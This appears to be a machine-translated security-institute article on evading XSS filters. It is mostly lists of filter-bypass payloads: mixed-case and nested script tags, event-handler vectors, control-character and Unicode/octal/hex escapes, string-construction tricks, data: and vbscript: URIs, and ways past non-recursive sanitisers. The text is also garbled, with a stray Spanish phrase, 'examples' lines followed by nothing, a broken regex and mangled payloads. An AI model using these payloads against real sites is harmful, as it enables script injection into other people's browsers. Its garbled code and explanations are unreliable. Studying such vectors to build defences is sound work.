Cross-site scripting (XSS) attacks are a variant of code injection that involves the use of specially crafted scripts on legitimate websites for malicious purposes in order to breach the security of web applications potentially affected by some known security flaw.
Given the popularity of this attack technique, many researchers have specialized in analyzing this attack technique and thus collaborate for the creation of a complete security environment, although threat actors have also published their own guidelines for the deployment of powerful XSS attacks.
This time, web application security experts from the International Institute of Cyber Security (IICS) will show you the main XSS attack vectors abused by hackers, as well as some of the most common practices to address this risk. Before proceeding, please remember that this article was prepared for informational purposes only and should not be taken as a call to action; IICS is not responsible for the misuse that may occur to the information contained herein.
According to specialists, these are the most common scenarios that can be found:
- The XSS attack vector is blocked by a security application or tool
- XSS attack vector is disinfected
- The browser filters or blocks the XSS attack vector
Web application security experts will show us some tactics to evade these security measures, employed by threat actors to find new XSS attack vectors.
This is one of the most popular security measures due to its ease of implementation. The blacklist detects certain patterns in order to prevent malicious activity in a continuous and effective way.
XSS Code Injection
Evasion of weak security measures on the use of labels<script>
Filters can be weak and not cover all possible cases, web application security experts say. Below are some examples of how to circumvent weak prevention measures.
<ScRiPt>alert(1);</ScRiPt> - Upper- & Lower-case characters <ScRiPt>alert(1); - Upper- & Lower-case characters, without closing tag <script/random>alert(1);</script> - Random string after the tag name <script>alert(1);</script> - Newline after the tag name <scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags <scr\x00ipt>alert(1)</scr\x00ipt> - NULL byte (IE up to v9)
ModSecurity> Rule filtering <script> tags
This is how ModSecurity filtra la etiqueta <script>:
Obviously, this isn’t the only way to inject XSS code. There are several ways to execute malicious code, including using HTML tags and their associated event handlers.
Events are how HTML DOM adds interactivity between a website and its visitors; this is achieved by simply running client-side code, web application security experts mentioned.
Almost all event handler identifiers begin with “on” and are followed by the event name.
Onerror is one of the most used:
<img src=x onerror=alert(1)>
But there are many other events.
Here are some examples of HTML 4 tags:
<body onload=alert(1)> <input type=image src=x:x onerror=alert(1)> <isindex onmouseover="alert(1)" > <form oninput=alert(1)><input></form> <textarea autofocus onfocus=alert(1)> <input oncut=alert(1)>
On the other hand, below we can find some examples of HTML 5 tags:
<svg onload=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="alert(1)"> <marquee onstart=alert(1)>
From a web application security standpoint, the solution is to filter out all events that begin with the ‘*’ character to prevent this attack vector from being used.
This is a very common regular expression that we can find:
Thanks to the combination of the “dynamism” of HTML and browsers, we can easily overlook this first filter:
<svg/onload=alert(1)> <svg//////onload=alert(1)> <svg id=x;onload=alert(1)> <svg id=`x`onload=alert(1)>
So, we have an “update”:
Still, there is still a problem. Since some browsers convert the escape character into space, the s alone is not enough to cover all possible characters.
Let’s look at some alternative solutions:
<svg onload%09=alert(1)> <svg %09onload=alert(1)> <svg %09onload%20=alert(1)> <svg onload%09%20%28%2C%3B=alert(1)> <svg onload%0B=alert(1)>
We have the first set of control characters that can be used between the attribute of the event name and the equal sign (=), or just before the event name:
IExplorer = [0x09,0x0B,0x0C,0x20,0x3B] Chrome = [0x09,0x20,0x28,0x2C,0x3B] Safari = [0x2C,0x3B] FireFox = [0x09,0x20,0x28,0x2C,0x3B] Opera = [0x09,0x20,0x2C,0x3B] Android = [0x09,0x20,0x28,0x2C,0x3B
Moreover, browsers are constantly evolving, so some of the allowed characters may no longer work. You can run it in your browser or view the results of previously tested browsers. The valid regular expression rule must be as follows:
(?i)([\s\"'`;\/0-9\=\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C \x28\x3B]+on\w+[\s\x00\x09\0A\x0B\x0C\0x0D\x3B\x2C\x28\x3 B]*?=)
Methods of evasion
Let’s imagine that we need to evade a filter that prevents the alert keyword from being used in the following scenarios.
Unicode > escape characters
<script>alert(1)</script> Alert(1) <— Blocked
Here we see the evasion of Unicode without using native functions:
The escape of Unicode using native functions can also be seen here. Keep in mind that eval is just one of many:
Escape characters> Decimal, Octal, Hexadecimal
If the filtered vector is in a string other than Unicode, we can use multiple escapes:
<img src=x onerror="\u0061lert(1)"/> <img src=x onerror="eval('\141lert(1)')"/> <img src=x onerror="eval('\x61lert(1)')"/>
- eval (‘ 141lert (1)’) <—– Escape octal
- eval (‘ x61lert (1)’) <—– Escape hexadecimal
<img src=x onerror="alert(1)"/> <img src=x onerror="alert(1)"/> <img src=x onerror="eval('\a\l\ert\(1\)')"/>
- to <—– Hexadecimal numeric character
- to <—— NCR decimal
- ‘alert (1<—— Superfluous Escape Character
All exhausts can be put on one line.
<img src=x onerror="\u0065val('\141\u006cert\(1)')"/>
To bypass filters, you need to know how to build strings. For example, the alert keyword is restricted as usual, but most likely “ale” + “rt” will not be recognized. Below, web application security experts will show us some examples.
/ale/.source+/rt/.source String.fromCharCode(97,108,101,114,116) atob("YWxlcnQ=") 17795081..toString(36)
Here are some examples:
setTimeout("JSCode") //all browsers setInterval("JSCode") //all browsers setImmediate("JSCode") //IE 10+ Function("JSCode") //all browsers
An interesting variation of the function receiver:
. constructor.constructor(alert(1)) . <—— Object .constructor <——Array .constructor <—— Function (alert(1)) <—— XSS Vector
Let’s look at some examples:
Let’s see how they work.
Small data elements provided with different media types can be included in the data URI schema. Here’s what the structure looks like:
The text / html and the base64 indicator that allows us to encode our data are the types of media that interest us the most. Let’s take a look at some examples.
<object data="data:text/html,<script>alert(1)</script>"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
- PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg == <—– Base64 Encoded
- data: <—— Blocked
If data: is blocked, it is best to use:
<embed code="DaTa:text/html,<script>alert(1)</script>"> <embed code="data:text/html,<script>alert(1)</script>"> <embed code="data:text/html,<script>alert(1)</script>"> <embed code="data:text/html,<script>alert(1)</script>">
Because it can only be used in Internet Explorer, the pseudo vbscript protocol is not widely used; VBScript no longer supports the Internet zone in IE11 in Edge mode. Let’s take a look at some scenarios.
To call VBScript, we can use vbscript: as well as vbs:
<img src=a onerror="vbscript:msgbox 1"/> <img src=b onerror="vbs:msgbox 2"/> <img src=c onerror="vbs:alert(3)"/> <img src=d onerror="vbscript:alert(4)"/>
<iMg src=a onErRor="vBsCriPt:AlErT(4)"/>
If vbscript: is blocked, we could use the usual encoding methods:
<img src=x onerror="vbscript:alert(1)"> <img src=x onerror="vbccript:alert(1)">
Instead of blocking the entire request, security systems often choose to disinfect suspicious XSS vectors. Most likely, these are the filters we will find during our experiments.
The most commonly used HTML encoding of some important characters, such as (<), > (>), etc. This is not always enough, because it depends on where the untrusted data is inserted into the page.
In some cases, the filter can change its vector by removing dangerous phrases. For example, delete the tags <script>.
The rule simply removes the first instance of the matching expression, which is a common mistake with this behavior.
Remove HTML tags
For example, <script>alert (1) </script> is properly disinfected for alert (1), but since the verification is not recursive:
This could be a solution.
If a filter runs recursive tests, you should always check if it can be used. Changing the sequence of inserted rows can be useful.
Let’s take a look at an example.
Recursive testing may be fine. They start with one label <script>, then the next, and so on, without going back to the beginning to see if there are more dangerous lines.
The following vector can be a workaround:
Of course, if we know or can guess the sequence, we can generate more complex vectors and possibly use multiple character encodings, as we saw in Skip Blacklist Filters.
It all depends on the filter we are addressing, mention the experts in web application security.
These are HTML tags, and the embeddings are usually within strings in quotation marks. To avoid this type of character, filters typically place the backslash character () in front of quotation marks.
To avoid this, the backslash should also be avoided. Consider the following code, where we can manipulate the randomkey value, but the quotation marks escape:
<script>var key = 'randomkey';</script>
Instead of randomkey, if we enter randomkey’alert (1); then we have a solution. This is because the application avoids the apostrophe by converting our entry into randomkey’alert (1); //.
We could also play with the unescape method to escape the generated chain. For example, we could escape the string using the .source method.
Although this feature is obsolete, many browsers still support it.
In addition to this, there are the decode URI and decodeURIComponent methods. In this case, the characters must be URL-encoded to avoid incorrect URI formatting errors.
These methods would be useful if you could inject them into a script or event handler, but you can’t use quotation marks because they’ve already escaped. Remember that each will return a string, so you need an execution receiver (IE: eval) to execute the function.
Protect your web applications from XSS attacks
Filtering methods are not a solution in themselves, as hundreds of ways to evade filters and new attack vectors are constantly emerging. Filters do not prevent XSS attacks; rather, they remove a small part of the code patterns that can be used in such an attack; in fact, instead of blocking the malicious code, filtering solves the wrong problem by trying to avoid any calls that load the wrong code itself.
Developers and users can have a greater impact on web application security than any filter, so it’s important to increase awareness of these kinds of issues in order to avoid their frequent occurrence.
To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.
He is a well-known expert in mobile security and malware analysis. He studied Computer Science at NYU and started working as a cyber security analyst in 2003. He is actively working as an anti-malware expert. He also worked for security companies like Kaspersky Lab. His everyday job includes researching about new malware and cyber security incidents. Also he has deep level of knowledge in mobile security and mobile vulnerabilities.